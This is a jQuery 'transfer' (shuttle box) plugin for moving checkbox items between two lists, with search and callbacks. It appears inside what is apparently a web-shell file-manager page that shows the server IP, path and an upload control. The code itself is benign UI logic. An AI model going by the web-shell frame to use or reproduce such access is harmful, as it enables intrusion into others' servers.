Your IP : 18.219.44.93


Current Path : /home/lentoinv/finationglobal.com/assets/plugins/jQuerytransfer/
Upload File :
Current File : /home/lentoinv/finationglobal.com/assets/plugins/jQuerytransfer/jquery.transfer.js

/**
 * 穿梭框
 */
var Transfer = (function ($) {
    // 全局变量,已选择项个数
    var selected_total_num = 0;
    // 当前时间,作为 id 使用
    var currentTimeStr = (new Date()).getTime() + parseInt(10000 * Math.random());
    // input 的 id
    var inputId = "";

    /**
     * 构造穿梭框
     * @param settings 设置项
     */
    function transfer(settings) {

        inputId = settings.inputId;
        // 数据项的名称
        var itemName = settings.itemName;
        // 分组的名称
        var groupItemName = settings.groupItemName;
        // 分组的列表名称
        var groupListName = settings.groupListName;
        // 值的名称
        var valueName = settings.valueName;
        // 容器
        var container = "." + settings.container;
        // 数据变化的回调函数
        var callable = settings.callable;
        // 穿梭框
        var transferId = "#transfer_double_" + inputId;

        // 接收选中项文本框
        var selectInputId = "#" + inputId;

        // 列表数据
        var data = settings.data || [];
        // 分组列表数据
        var groupData = settings.groupData || [];

        // 数据项总个数
        var total_num = settings.data.length;
        // 总个数显示文本
        var total_num_str = settings.data.length + " Items";

        // 分组总个数
        var total_group_num = getGroupNum(groupData, groupListName);
        // 分组总个数显示文本
        var total_group_num_str = total_group_num + " Items";

        // 新的总个数
        var new_total_num = 0;
        // 新的分组总个数
        var new_group_total_num = 0;

        // 标签页
        var tabItemName = ".tab-item-name-" + currentTimeStr;
        // 标签页内容
        var transferDoubleList = ".transfer-double-list-" + currentTimeStr;

        // 左侧搜索框 id
        var listSearchId = "#listSearch_" + currentTimeStr;
        // 左侧分组搜索框 id
        var groupListSearchId = "#groupListSearch_" + currentTimeStr;
        // 右侧搜索框 id
        var selectedListSearchId = "#selectedListSearch_" + currentTimeStr;

        // 左侧未选中项内容
        var tabContentFirst = ".tab-content-first-" + currentTimeStr;
        // 左侧未选中项列表 ul
        var transferDoubleListUl = ".transfer-double-list-ul-" + currentTimeStr;
        // 左侧未选中项列表 li
        var transferDoubleListLi = ".transfer-double-list-li-" + currentTimeStr;
        // 左侧列表项 checkbox
        var checkboxItem = ".checkbox-item-" + currentTimeStr;
        // 左侧列表项名称
        var checkboxName = ".checkbox-name-" + currentTimeStr;
        // 左侧总个数显示元素
        var totalNum = ".total_num_" + currentTimeStr;
        // 左侧未选中项列表全选 id
        var selectAllId = "#selectAll_" + currentTimeStr;

        // 左侧分组列表 ul
        var transferDoubleGroupListUl = ".transfer-double-group-list-ul-" + currentTimeStr;
        // 左侧分组列表 li
        var transferDoubleGroupListLi = ".transfer-double-group-list-li-" + currentTimeStr;
        // 左侧分组列表分组全选,是分组全选,不是全选
        var groupSelectAll = ".group-select-all-" + currentTimeStr;
        // 左侧分组列表分组名称
        var groupName = ".group-name-" + currentTimeStr;
        // 左侧不同分组 ul
        var transferDoubleGroupListLiUl = ".transfer-double-group-list-li-ul-" + currentTimeStr;
        // 左侧不同分组 li
        var transferDoubleGroupListLiUlLi = ".transfer-double-group-list-li-ul-li-" + currentTimeStr;
        // 左侧不同分组 checkbox
        var groupCheckboxItem = ".group-checkbox-item-" + currentTimeStr;
        // 左侧不同分组选项名称
        var groupCheckboxName = ".group-checkbox-name-" + currentTimeStr;
        // 左侧分组总个数显示元素
        var groupTotalNum = ".group_total_num_" + currentTimeStr;
        // 左侧未选中分组列表全选 id
        var groupsSelectAllId = "#groupsSelectAll_" + currentTimeStr;

        // 右侧列表 ul
        var transferDoubleSelectedListUl = ".transfer-double-selected-list-ul-" + currentTimeStr;
        // 右侧列表 li
        var transferDoubleSelectedListLi = ".transfer-double-selected-list-li-" + currentTimeStr;
        // 右侧列表选中项
        var checkboxSelectedItem = ".checkbox-selected-item-" + currentTimeStr;
        // 右侧列表选中项名称
        var checkboxSelectedName = ".checkbox-selected-name-" + currentTimeStr;
        // 右侧全选 id,留待后续使用
        var selectedAllId = "#selectedAll_" + currentTimeStr;
        // 右侧总个数显示元素
        var selectedTotalNum = ".selected_total_num_" + currentTimeStr;

        // 往右添加按钮
        var addSelected = "#add_selected_" + currentTimeStr;
        // 往左添加按钮
        var deleteSelected = "#delete_selected_" + currentTimeStr;


        // 穿梭框渲染
        $(container).append(generateTransfer(inputId, currentTimeStr));

        /**
         * 数据渲染
         */
        $(transferId).find(transferDoubleListUl).empty();
        $(transferId).find(transferDoubleListUl).append(generateLeftList(currentTimeStr, data, itemName, valueName));
        $(transferId).find(totalNum).empty();
        $(transferId).find(totalNum).append(total_num_str);

        $(transferId).find(transferDoubleGroupListUl).empty();
        $(transferId).find(transferDoubleGroupListUl).append(generateLeftGroupList(currentTimeStr, groupData, itemName, groupListName, groupItemName, valueName));
        $(transferId).find(groupTotalNum).empty();
        $(transferId).find(groupTotalNum).append(total_group_num_str);

        /**
         * 点击标签页切换
         */
        $(transferId).find(tabItemName).on("click", function () {
            $(selectAllId).prop("checked", false);
            if (!$(this).is(".tab-active")) {
                $(this).addClass("tab-active").siblings().removeClass("tab-active");
                $(transferDoubleList).eq($(transferId).find(tabItemName).index(this)).addClass("tab-content-active").siblings().removeClass("tab-content-active");
                $(transferId).find(".checkbox-normal").each(function () {
                    $(this).prop("checked", false);
                });
                $(addSelected).removeClass("btn-arrow-active");
                $(transferId).find(transferDoubleSelectedListUl).empty();
                // 清空右侧数量
                $(transferId).find(selectedTotalNum).text("0 Items");
                // 未选中项
                if ($(transferId).find(tabContentFirst).css("display") != "none") {
                    $(transferId).find(transferDoubleGroupListLiUlLi).each(function () {
                        $(this).css('display', 'block');
                    });
                    $(transferId).find(groupCheckboxItem).each(function () {
                        $(this).prop("checked", false);
                    });

                    $(transferId).find(selectAllId).prop("disabled", "");

                    $(transferId).find(groupTotalNum).empty();
                    $(transferId).find(groupTotalNum).append($(transferId).find(transferDoubleGroupListLiUlLi).length + " Items");
                } else {
                    // 分组

                    // 清空 disabled
                    for (var j = 0; j < $(transferId).find(groupSelectAll).length; j++) {
                        $(transferId).find(groupSelectAll).eq(j).prop("disabled", "");
                    }
                    $(transferId).find(groupsSelectAllId).prop("disabled", "");

                    $(transferId).find(transferDoubleListLi).each(function () {
                        $(this).css('display', 'block');
                    });
                    $(transferId).find(checkboxItem).each(function () {
                        $(this).prop("checked", false);
                    });
                    $(transferId).find(totalNum).empty();
                    $(transferId).find(totalNum).append($(transferId).find(transferDoubleListLi).length + " Items");
                }
                // 数据变化触发回调
                callable.call(this, getSelected(), getSelectedName());
                // 标签切换按钮修改为未激活
                $(addSelected).removeClass("btn-arrow-active");
                $(deleteSelected).removeClass("btn-arrow-active");
            }
        });

        /**
         * 监听左侧未选中项 checkBox 是否被选中
         */
        $(transferId).on("click", checkboxItem, function () {
            var selected_num = 0;
            for (var i = 0; i < $(transferId).find(checkboxItem).length; i++) {
                if ($(transferId).find(transferDoubleListLi).eq(i).css('display') != "none" && $(transferId).find(checkboxItem).eq(i).is(':checked')) {
                    selected_num++;
                }
            }
            if (selected_num > 0) {
                $(addSelected).addClass("btn-arrow-active");
            } else {
                $(addSelected).removeClass("btn-arrow-active");
            }
        });

        /**
         * 监听左侧分组 checkBox 是否被选中
         */
        $(transferId).on("click", groupCheckboxItem, function () {
            var selected_num = 0;
            for (var i = 0; i < $(transferId).find(groupCheckboxItem).length; i++) {
                if ($(transferId).find(transferDoubleGroupListLiUlLi).eq(i).css('display') != "none" && $(transferId).find(groupCheckboxItem).eq(i).is(':checked')) {
                    selected_num++;
                }
            }
            if (selected_num > 0) {
                $(addSelected).addClass("btn-arrow-active");
            } else {
                $(addSelected).removeClass("btn-arrow-active");
            }
        });

        // 监听右侧未选中项 checkBox 是否被选中
        $(transferId).on("click", checkboxSelectedItem, function () {
            var deleted_num = 0;
            for (var i = 0; i < $(transferId).find(checkboxSelectedItem).length; i++) {
                if ($(transferId).find(checkboxSelectedItem).eq(i).is(':checked')) {
                    deleted_num++;
                }
            }
            if (deleted_num > 0) {
                $(deleteSelected).addClass("btn-arrow-active");
            } else {
                $(deleteSelected).removeClass("btn-arrow-active");
            }
        });

        // 选中或者反选分组中的所有未选中项
        $(groupSelectAll).on("click", function () {
            // 分组索引
            var groupIndex = ($(this).attr("id")).split("_")[1];
            // 某个分组被选中
            if ($(this).is(':checked')) {
                // 激活按钮
                $(addSelected).addClass("btn-arrow-active");
                for (var i = 0; i < $(transferId).find(".belongs-group-" + groupIndex + "-" + currentTimeStr).length; i++) {
                    if (!$(transferId).find(".belongs-group-" + groupIndex + "-" + currentTimeStr).eq(i).is(':checked') && $(transferId).find(".belongs-group-" + groupIndex + "-" + currentTimeStr).eq(i).parent().parent().css("display") != "none") {
                        // 此处如果用 attr,会出现第三次失效的情况
                        $(transferId).find(".belongs-group-" + groupIndex + "-" + currentTimeStr).eq(i).prop("checked", true);
                    }
                }
                var groupCheckedNum = 0;
                $(transferId).find(groupSelectAll).each(function () {
                    if ($(this).is(":checked")) {
                        groupCheckedNum = groupCheckedNum + 1;
                    }
                });
                if (groupCheckedNum == $(transferId).find(groupSelectAll).length) {
                    $(groupsSelectAllId).prop("checked", true);
                }
            } else {
                for (var j = 0; j < $(transferId).find(".belongs-group-" + groupIndex + "-" + currentTimeStr).length; j++) {
                    if ($(transferId).find(".belongs-group-" + groupIndex + "-" + currentTimeStr).eq(j).is(':checked') && $(transferId).find(".belongs-group-" + groupIndex + "-" + currentTimeStr).eq(i).parent().parent().css("display") != "none") {
                        $(transferId).find(".belongs-group-" + groupIndex + "-" + currentTimeStr).eq(j).prop("checked", false);
                    }
                }
                var groupCheckedNum = 0;
                $(transferId).find(groupSelectAll).each(function () {
                    if ($(this).is(":checked")) {
                        groupCheckedNum = groupCheckedNum + 1;
                    }
                });
                if (groupCheckedNum != $(transferId).find(groupSelectAll).length) {
                    $(groupsSelectAllId).prop("checked", false);
                }
                if (groupCheckedNum == 0) {
                    $(addSelected).removeClass("btn-arrow-active");
                }
            }
        });

        /**
         * 列表全选
         */
        $(selectAllId).on("click", function () {
            if ($(this).is(':checked')) {
                for (var i = 0; i < $(transferId).find(checkboxItem).length; i++) {
                    if ($(transferId).find(transferDoubleListLi).eq(i).css('display') != "none" && !$(transferId).find(checkboxItem).eq(i).is(':checked')) {
                        //此处如果用attr,会出现第三次失效的情况
                        $(transferId).find(checkboxItem).eq(i).prop("checked", true);
                    }
                }
                $(addSelected).addClass("btn-arrow-active");
            } else {
                for (var i = 0; i < $(transferId).find(checkboxItem).length; i++) {
                    if ($(transferId).find(transferDoubleListLi).eq(i).css('display') != "none" && $(transferId).find(checkboxItem).eq(i).is(':checked')) {
                        $(transferId).find(checkboxItem).eq(i).prop("checked", false);
                    }
                }
                $(addSelected).removeClass("btn-arrow-active");
            }
        });

        /**
         * 分组全选
         */
        $(groupsSelectAllId).on("click", function () {
            if ($(this).is(':checked')) {
                for (var i = 0; i < $(transferId).find(groupCheckboxItem).length; i++) {
                    if ($(transferId).find(transferDoubleGroupListLiUlLi).eq(i).css('display') != "none" && !$(transferId).find(groupCheckboxItem).eq(i).is(':checked')) {
                        // 此处如果用 attr,会出现第三次失效的情况
                        $(transferId).find(groupCheckboxItem).eq(i).prop("checked", true);
                    }
                    if (!$(transferId).find(groupSelectAll).eq(i).is(':checked')) {
                        $(transferId).find(groupSelectAll).eq(i).prop("checked", true);
                    }
                }
                $(addSelected).addClass("btn-arrow-active");
            } else {
                for (var i = 0; i < $(transferId).find(groupCheckboxItem).length; i++) {
                    if ($(transferId).find(transferDoubleGroupListLiUlLi).eq(i).css('display') != "none" && $(transferId).find(groupCheckboxItem).eq(i).is(':checked')) {
                        $(transferId).find(groupCheckboxItem).eq(i).prop("checked", false);
                    }
                    if ($(transferId).find(groupSelectAll).eq(i).is(':checked')) {
                        $(transferId).find(groupSelectAll).eq(i).prop("checked", false);
                    }
                }
                $(addSelected).removeClass("btn-arrow-active");
            }
        });

        /**
         * 将选中项添加至右侧
         */
        $(addSelected).on("click", function () {
            var listHtmlStr = "";
            var selectedItemNum = 0;
            // 分组
            if ($(transferId).find(tabContentFirst).css("display") != "none") {
                for (var i = 0; i < $(transferId).find(groupCheckboxItem).length; i++) {
                    if ($(transferId).find(groupCheckboxItem).eq(i).is(':checked')) {
                        var checkboxItemId = $(transferId).find(groupCheckboxItem).eq(i).attr("id");
                        var checkboxItemArray = checkboxItemId.split("_");
                        var groupIdIndex = checkboxItemArray[1];
                        var idIndex = checkboxItemArray[3];
                        var val = $(transferId).find(groupCheckboxName).eq(i).text();
                        var value = $(transferId).find(groupCheckboxItem).eq(i).val();
                        $(transferId).find(transferDoubleGroupListLiUlLi).eq(i).css('display', 'none');
                        listHtmlStr = listHtmlStr + '<li class="transfer-double-selected-list-li transfer-double-selected-list-li-' + currentTimeStr + ' .clearfix">' +
                            '<div class="checkbox-group">' +
                            '<input type="checkbox" value="' + value + '" class="checkbox-normal checkbox-selected-item-' + currentTimeStr + '" id="group_' + groupIdIndex + '_selectedCheckbox_' + idIndex + '_' + currentTimeStr + '">' +
                            '<label class="checkbox-selected-name-' + currentTimeStr + '" for="group_' + groupIdIndex + '_selectedCheckbox_' + idIndex + '_' + currentTimeStr + '">' + val + '</label>' +
                            '</div>' +
                            '</li>'
                        selectedItemNum = selectedItemNum + 1;
                    }
                }
                for (var j = 0; j < $(transferId).find(groupSelectAll).length; j++) {
                    if ($(transferId).find(groupSelectAll).eq(j).is(":checked")) {
                        $(transferId).find(groupSelectAll).eq(j).prop("disabled", "disabled");
                    }
                }
                $(transferId).find(groupTotalNum).empty();
                // 计算左侧总数
                new_group_total_num = total_group_num - selectedItemNum;
                // 计算右侧总数
                selected_total_num = selectedItemNum;
                var new_total_num_str = new_group_total_num + " Items";
                // 左侧数量
                $(transferId).find(groupTotalNum).append(new_total_num_str);
                // 右侧数量
                $(transferId).find(selectedTotalNum).text(selected_total_num + " Items");
                if (new_group_total_num == 0) {
                    $(groupsSelectAllId).prop("checked", true);
                    $(groupsSelectAllId).prop("disabled", "disabled");
                }
            } else {
                // 未选中项
                for (var i = 0; i < $(transferId).find(checkboxItem).length; i++) {
                    if ($(transferId).find(checkboxItem).eq(i).is(':checked')) {
                        var checkboxItemId = $(transferId).find(checkboxItem).eq(i).attr("id");
                        var idIndex = checkboxItemId.split("_")[1];
                        var val = $(transferId).find(checkboxName).eq(i).text();
                        var value = $(transferId).find(checkboxItem).eq(i).val();
                        $(transferId).find(transferDoubleListLi).eq(i).css('display', 'none');
                        listHtmlStr = listHtmlStr + '<li class="transfer-double-selected-list-li  transfer-double-selected-list-li-' + currentTimeStr + ' .clearfix">' +
                            '<div class="checkbox-group">' +
                            '<input type="checkbox" value="' + value + '" class="checkbox-normal checkbox-selected-item-' + currentTimeStr + '" id="selectedCheckbox_' + idIndex + '_' + currentTimeStr + '">' +
                            '<label class="checkbox-selected-name-' + currentTimeStr + '" for="selectedCheckbox_' + idIndex + '_' + currentTimeStr + '">' + val + '</label>' +
                            '</div>' +
                            '</li>';
                        selectedItemNum = selectedItemNum + 1;
                    }
                }
                $(transferId).find(totalNum).empty();
                // 计算新的左侧总数
                new_total_num = total_num - selectedItemNum;
                // 计算右侧总数
                selected_total_num = selectedItemNum;
                var new_total_num_str = new_total_num + " Items";
                // 左侧数量
                $(transferId).find(totalNum).append(new_total_num_str);
                // 右侧数量
                $(transferId).find(selectedTotalNum).text(selected_total_num + " Items");
                if (new_total_num == 0) {
                    $(selectAllId).prop("checked", true);
                    $(selectAllId).prop("disabled", "disabled");
                }
            }
            $(addSelected).removeClass("btn-arrow-active");
            $(transferId).find(transferDoubleSelectedListUl).empty();
            $(transferId).find(transferDoubleSelectedListUl).append(listHtmlStr);
            // 数据变化触发回调
            callable.call(this, getSelected(), getSelectedName());
        });

        /**
         * 删除选中项,回到左侧
         */
        $(deleteSelected).on("click", function () {
            var deleteItemNum = 0;
            // 分组
            if ($(transferId).find(tabContentFirst).css("display") != "none") {
                for (var i = 0; i < $(transferId).find(checkboxSelectedItem).length;) {
                    if ($(transferId).find(checkboxSelectedItem).eq(i).is(':checked')) {
                        var checkboxSelectedItemId = $(transferId).find(checkboxSelectedItem).eq(i).attr("id");
                        var groupItemIdArray = checkboxSelectedItemId.split("_")
                        var groupId = groupItemIdArray[1];
                        var idIndex = groupItemIdArray[3];
                        $(transferId).find(transferDoubleSelectedListLi).eq(i).remove();
                        $(transferId).find("#group_" + groupId + "_" + currentTimeStr).prop("checked", false);
                        $(transferId).find("#group_" + groupId + "_" + currentTimeStr).removeAttr("disabled");
                        $(transferId).find("#group_" + groupId + "_checkbox_" + idIndex + "_" + currentTimeStr).prop("checked", false);
                        $(transferId).find("#group_" + groupId + "_checkbox_" + idIndex + "_" + currentTimeStr).parent().parent().css('display', 'block');
                        deleteItemNum = deleteItemNum + 1;
                    } else {
                        i++;
                    }
                }
                $(transferId).find(groupTotalNum).empty();
                // 计算左侧总数
                new_group_total_num = new_group_total_num + deleteItemNum;
                // 计算右侧总数
                selected_total_num -= deleteItemNum;
                var new_total_num_str = new_group_total_num + " Items";
                // 左侧总数
                $(transferId).find(groupTotalNum).append(new_total_num_str);
                // 右侧总数
                $(transferId).find(selectedTotalNum).text(selected_total_num + " Items");
                if ($(groupsSelectAllId).is(':checked')) {
                    $(groupsSelectAllId).prop("checked", false);
                    $(groupsSelectAllId).removeAttr("disabled");
                }
            } else {
                // 未选中项
                for (var i = 0; i < $(transferId).find(checkboxSelectedItem).length;) {
                    if ($(transferId).find(checkboxSelectedItem).eq(i).is(':checked')) {
                        var checkboxSelectedItemId = $(transferId).find(checkboxSelectedItem).eq(i).attr("id");
                        var idIndex = checkboxSelectedItemId.split("_")[1];
                        var val = $(transferId).find(checkboxSelectedName).eq(i).text();
                        $(transferId).find(transferDoubleSelectedListLi).eq(i).remove();
                        $(transferId).find(checkboxItem).eq(idIndex).prop("checked", false);
                        $(transferId).find(transferDoubleListLi).eq(idIndex).css('display', 'block');
                        deleteItemNum = deleteItemNum + 1;
                    } else {
                        i++;
                    }
                }
                $(transferId).find(totalNum).empty();
                // 计算左侧总数
                new_total_num = new_total_num + deleteItemNum;
                // 计算右侧总数
                selected_total_num -= deleteItemNum;
                var new_total_num_str = new_total_num + " Items";
                // 左侧总数
                $(transferId).find(totalNum).append(new_total_num_str);
                // 右侧总数
                $(transferId).find(selectedTotalNum).text(selected_total_num + " Items");
                if ($(selectAllId).is(':checked')) {
                    $(selectAllId).prop("checked", false);
                    $(selectAllId).removeAttr("disabled");
                }
            }
            $(deleteSelected).removeClass("btn-arrow-active");
            // 数据变化触发回调
            callable.call(this, getSelected(), getSelectedName());
        });

        /**
         * 左侧模糊查询
         */
        $(listSearchId).on("keyup", function () {
            // 只要输入就显示列表框
            $(transferId).find(transferDoubleListUl).css('display', 'block');
            // 如果什么都没填,保持全部显示状态
            if ($(listSearchId).val() == "") {
                for (var i = 0; i < $(transferId).find(checkboxItem).length; i++) {
                    if (!$(transferId).find(checkboxItem).eq(i).is(':checked')) {
                        $(transferId).find(transferDoubleListLi).eq(i).css('display', 'block');
                    }
                }
                return;
            }

            // 如果填了,先将所有的选项隐藏
            $(transferId).find(transferDoubleListLi).css('display', 'none');

            for (var j = 0; j < $(transferId).find(transferDoubleListLi).length; j++) {
                // 模糊匹配,将所有匹配项显示
                if (!$(transferId).find(checkboxItem).eq(j).is(':checked')
                    && $(transferId).find(transferDoubleListLi).eq(j).text()
                        .substr(0, $(listSearchId).val().length).toLowerCase() == $(listSearchId).val().toLowerCase()) {
                    $(transferId).find(transferDoubleListLi).eq(j).css('display', 'block');
                }
            }
        });

        /**
         * 左侧分组模糊查询
         */
        $(groupListSearchId).on("keyup", function () {
            // 只要输入就显示列表框
            $(transferId).find(transferDoubleGroupListUl).css('display', 'block');
            // 如果什么都没填,保持全部显示状态
            if ($(groupListSearchId).val() == "") {
                for (var i = 0; i < $(transferId).find(groupCheckboxItem).length; i++) {
                    if (!$(transferId).find(checkboxItem).eq(i).is(':checked')) {
                        // 分组 li 改为显示
                        $(transferId).find(transferDoubleGroupListLiUlLi).eq(i).parent().parent().css('display', 'block');
                        // 分组下每个 li 改为显示
                        $(transferId).find(transferDoubleGroupListLiUlLi).eq(i).css('display', 'block');
                    }
                }
                return;
            }

            // 如果填了,先将所有的选项隐藏
            $(transferId).find(transferDoubleGroupListLi).css('display', 'none');
            $(transferId).find(transferDoubleGroupListLiUlLi).css('display', 'none');

            for (var j = 0; j < $(transferId).find(transferDoubleGroupListLiUlLi).length; j++) {
                // 模糊匹配,将所有匹配项显示
                if (!$(transferId).find(groupCheckboxItem).eq(j).is(':checked')
                    && $(transferId).find(transferDoubleGroupListLiUlLi).eq(j).text()
                        .substr(0, $(groupListSearchId).val().length).toLowerCase() == $(groupListSearchId).val().toLowerCase()) {
                    // 分组 li 改为显示
                    $(transferId).find(transferDoubleGroupListLiUlLi).eq(j).parent().parent().css('display', 'block');
                    $(transferId).find(transferDoubleGroupListLiUlLi).eq(j).css('display', 'block');
                }
            }
        });

        /**
         * 右侧模糊查询
         */
        $(selectedListSearchId).keyup(function () {
            // 只要输入就显示列表框
            $(transferId).find(transferDoubleSelectedListUl).css('display', 'block');

            // 如果什么都没填,保持全部显示状态
            if ($(selectedListSearchId).val() == "") {
                $(transferId).find(transferDoubleSelectedListLi).css('display', 'block');
                return;
            }
            $(transferId).find(transferDoubleSelectedListLi).css('display', 'none');

            for (var i = 0; i < $(transferId).find(transferDoubleSelectedListLi).length; i++) {
                // 模糊匹配,将所有匹配项显示
                if ($(transferId).find(transferDoubleSelectedListLi).eq(i).text()
                        .substr(0, $(selectedListSearchId).val().length).toLowerCase() == $(selectedListSearchId).val().toLowerCase()) {
                    $(transferId).find(transferDoubleSelectedListLi).eq(i).css('display', 'block');
                }
            }
        });
    }

    /**
     * 左侧列表渲染
     * @param currentTimeStr
     * @param data
     * @returns {string}
     */
    function generateLeftList(currentTimeStr, data, itemName, valueName) {
        var listHtmlStr = "";
        for (var i = 0; i < data.length; i++) {
            listHtmlStr = listHtmlStr +
                '<li class="transfer-double-list-li transfer-double-list-li-' + currentTimeStr + '">' +
                '<div class="checkbox-group">' +
                '<input type="checkbox" value="' + data[i][valueName] + '" class="checkbox-normal checkbox-item-' + currentTimeStr + '" id="itemCheckbox_' + i + '_' + currentTimeStr + '">' +
                '<label class="checkbox-name-' + currentTimeStr + '" for="itemCheckbox_' + i + '_' + currentTimeStr + '">' + data[i][itemName] + '</label>' +
                '</div>' +
                '</li>'
        }
        return listHtmlStr;
    }

    /**
     * 左侧分组列表渲染
     * @param currentTimeStr
     * @param data
     * @returns {string}
     */
    function generateLeftGroupList(currentTimeStr, data, itemName, groupListName, groupItemName, valueName) {
        var listHtmlStr = "";
        for (var i = 0; i < data.length; i++) {
            listHtmlStr = listHtmlStr +
                '<li class="transfer-double-group-list-li transfer-double-group-list-li-' + currentTimeStr + '">'
                + '<div class="checkbox-group">' +
                '<input type="checkbox" class="checkbox-normal group-select-all-' + currentTimeStr + '" id="group_' + i + '_' + currentTimeStr + '">' +
                '<label for="group_' + i + '_' + currentTimeStr + '" class="group-name-' + currentTimeStr + '">' + data[i][groupItemName] + '</label>' +
                '</div>';
            if (data[i][groupListName].length > 0) {
                listHtmlStr = listHtmlStr + '<ul class="transfer-double-group-list-li-ul transfer-double-group-list-li-ul-' + currentTimeStr + '">'
                for (var j = 0; j < data[i][groupListName].length; j++) {
                    listHtmlStr = listHtmlStr + '<li class="transfer-double-group-list-li-ul-li transfer-double-group-list-li-ul-li-' + currentTimeStr + '">' +
                        '<div class="checkbox-group">' +
                        '<input type="checkbox" value="' + data[i][groupListName][j][valueName] + '" class="checkbox-normal group-checkbox-item-' + currentTimeStr + ' belongs-group-' + i + '-' + currentTimeStr + '" id="group_' + i + '_checkbox_' + j + '_' + currentTimeStr + '">' +
                        '<label for="group_' + i + '_checkbox_' + j + '_' + currentTimeStr + '" class="group-checkbox-name-' + currentTimeStr + '">' + data[i][groupListName][j][itemName] + '</label>' +
                        '</div>' +
                        '</li>';
                }
                listHtmlStr = listHtmlStr + '</ul>'
            } else {
                listHtmlStr = listHtmlStr + '</li>';
            }
            listHtmlStr = listHtmlStr + '</li>';
        }
        return listHtmlStr;
    }

    /**
     * 获取分组中项个数
     * @param data
     * @returns {number}
     */
    function getGroupNum(data, groupListName) {
        var total_group_num = 0;
        for (var i = 0; i < data.length; i++) {
            var groupData = data[i][groupListName];
            if (groupData.length > 0) {
                total_group_num = total_group_num + groupData.length;
            }
        }
        return total_group_num;
    }


    /**
     * 返回选中的项目 value 数组
     * @returns {Array}
     */
    function getSelected() {
        // 穿梭框
        var transferId = "#transfer_double_" + inputId;
        var selected = [];
        var transferDoubleSelectedListLi = ".transfer-double-selected-list-li-" + currentTimeStr;

        for (var i = 0; i < $(transferId).find(transferDoubleSelectedListLi).length; i++) {
            // 模糊匹配,将所有匹配项显示
            var value = $(transferId).find(transferDoubleSelectedListLi).eq(i).find(".checkbox-group").find("input").val();
            selected.push(value);
        }
        return selected;
    }

    /**
     * 返回选中的项目名称数组
     * @returns {Array}
     */
    function getSelectedName() {
        // 穿梭框
        var transferId = "#transfer_double_" + inputId;
        var selected = [];
        var transferDoubleSelectedListLi = ".transfer-double-selected-list-li-" + currentTimeStr;

        for (var i = 0; i < $(transferId).find(transferDoubleSelectedListLi).length; i++) {
            // 模糊匹配,将所有匹配项显示
            var value = $(transferId).find(transferDoubleSelectedListLi).eq(i).find(".checkbox-group").find("label").text();
            selected.push(value);
        }
        return selected;
    }

    /**
     * 渲染穿梭框
     * @param inputId
     * @param currentTimeStr
     * @returns {string}
     */
    function generateTransfer(inputId, currentTimeStr) {
        var htmlStr =
            '<div class="transfer-double" id="transfer_double_' + inputId + '">'
            + '<div class="transfer-double-header"></div>'
            + '<div class="transfer-double-content clearfix">'
            + '<div class="transfer-double-content-left">'
            + '<div class="transfer-double-content-tabs">'
            + '<div class="tab-item-name tab-item-name-' + currentTimeStr + ' tab-active">Groups</div>'
            + '<div class="tab-item-name tab-item-name-' + currentTimeStr + '">Items</div>'
            + '</div>'

            + '<div class="transfer-double-list transfer-double-list-' + currentTimeStr + ' tab-content-first-' + currentTimeStr + ' tab-content-active">'
            + '<div class="transfer-double-list-header">'
            + '<div class="transfer-double-list-search">'
            + '<input class="transfer-double-list-search-input" type="text" id="groupListSearch_' + currentTimeStr + '" placeholder="Search" value="" />'
            + '</div>'
            + '</div>'
            + '<div class="transfer-double-list-content">'
            + '<div class="transfer-double-list-main">'
            + '<ul class="transfer-double-group-list-ul transfer-double-group-list-ul-' + currentTimeStr + '">'
            + '</ul>'
            + '</div>'
            + '</div>'
            + '<div class="transfer-double-list-footer">'
            + '<div class="checkbox-group">'
            + '<input type="checkbox" class="checkbox-normal" id="groupsSelectAll_' + currentTimeStr + '"><label for="groupsSelectAll_' + currentTimeStr + '" class="group_total_num_' + currentTimeStr + '"></label>'
            + '</div>'
            + '</div>'
            + '</div>'

            + '<div class="transfer-double-list transfer-double-list-' + currentTimeStr + '">'
            + '<div class="transfer-double-list-header">'
            + '<div class="transfer-double-list-search">'
            + '<input class="transfer-double-list-search-input" type="text" id="listSearch_' + currentTimeStr + '" placeholder="Search" value="" />'
            + '</div>'
            + '</div>'
            + '<div class="transfer-double-list-content">'
            + '<div class="transfer-double-list-main">'
            + '<ul class="transfer-double-list-ul transfer-double-list-ul-' + currentTimeStr + '">'
            + '</ul>'
            + '</div>'
            + '</div>'
            + '<div class="transfer-double-list-footer">'
            + '<div class="checkbox-group">'
            + '<input type="checkbox" class="checkbox-normal" id="selectAll_' + currentTimeStr + '"><label for="selectAll_' + currentTimeStr + '" class="total_num_' + currentTimeStr + '"></label>'
            + '</div>'
            + '</div>'
            + '</div>'
            + '</div>'

            + '<div class="transfer-double-content-middle">'
            + '<div class="btn-select-arrow" id="add_selected_' + currentTimeStr + '"><i class="iconfont icon-forward"></i></div>'
            + '<div class="btn-select-arrow" id="delete_selected_' + currentTimeStr + '"><i class="iconfont icon-back"></i></div>'
            + '</div>'
            + '<div class="transfer-double-content-right">'
            + '<div class="transfer-double-content-param">'
            + '<div class="param-item">Selected</div>'
            + '</div>'
            + '<div class="transfer-double-selected-list">'
            + '<div class="transfer-double-selected-list-header">'
            + '<div class="transfer-double-selected-list-search">'
            + '<input class="transfer-double-selected-list-search-input" type="text" id="selectedListSearch_' + currentTimeStr + '" placeholder="Search" value="" />'
            + '</div>'
            + '</div>'
            + '<div class="transfer-double-selected-list-content">'
            + '<div class="transfer-double-selected-list-main">'
            + '<ul class="transfer-double-selected-list-ul transfer-double-selected-list-ul-' + currentTimeStr + '">'
            + '</ul>'
            + '</div>'
            + '</div>'
            + '<div class="transfer-double-list-footer">'
            + '<label class="selected_total_num_' + currentTimeStr + '">0 Item</label>'
            + '</div>'
            + '</div>'
            + '</div>'
            + '</div>'
            + '<div class="transfer-double-footer">'
            + '</div>'
            + '</div>';
        return htmlStr;
    }

    return {
        transfer: transfer
    }
